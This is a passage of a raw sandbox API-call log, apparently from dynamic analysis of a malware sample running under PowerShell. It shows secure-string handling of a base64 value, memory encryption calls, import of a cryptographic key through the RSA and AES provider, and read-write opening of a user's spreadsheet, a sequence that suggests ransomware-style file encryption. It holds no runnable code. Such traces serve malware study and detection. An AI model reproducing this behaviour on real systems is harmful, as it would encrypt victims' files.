(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.750] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.750] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.750] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0130.750] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.750] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0130.750] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.750] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0130.750] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0130.750] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.750] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0130.750] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.751] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0130.751] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0130.751] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.751] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0130.751] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.751] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0130.751] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0130.751] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.751] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0130.751] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.751] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0130.751] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0130.751] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.751] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0130.751] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.751] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0130.751] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0130.751] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.752] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0130.752] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0130.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0130.752] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.752] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0130.752] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0130.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0130.752] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.752] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0130.752] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.752] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0130.753] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.753] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0130.753] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0130.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0130.753] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.753] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0130.753] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0130.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0130.753] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.753] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0130.753] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0130.753] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0130.753] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.754] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0130.754] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.754] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0130.754] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0130.754] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.754] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0130.754] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.754] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0130.754] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0130.754] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.754] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0130.754] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.754] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0130.754] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0130.754] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.754] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0130.755] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.755] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0130.755] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0130.755] SystemFunction041 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.755] SystemFunction040 (in: Memory=0x43836ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43836ac) returned 0x0 [0130.755] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0130.849] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0130.849] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0130.850] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0130.850] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0130.850] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0130.850] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0130.850] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0130.850] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.850] SystemFunction041 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0130.851] SystemFunction040 (in: Memory=0x8e31304, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31304) returned 0x0 [0130.851] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x4396b48) returned 1 [0130.852] CryptImportKey (in: hProv=0x4396b48, pbData=0x6ad90f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e84f38) returned 1 [0130.852] CryptContextAddRef (hProv=0x4396b48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.852] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="\x8ff0\x6ad") returned 0x0 [0130.852] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.852] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.852] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.854] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls")) returned 0x20 [0130.854] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls")) returned 0x20 [0130.854] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.855] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.855] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.855] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.856] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.856] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.856] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.856] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.856] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.857] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls", lpFilePart=0x0) returned 0x44 [0130.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0130.857] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\OUCsQYE.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\oucsqye.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0130.857] GetFileType 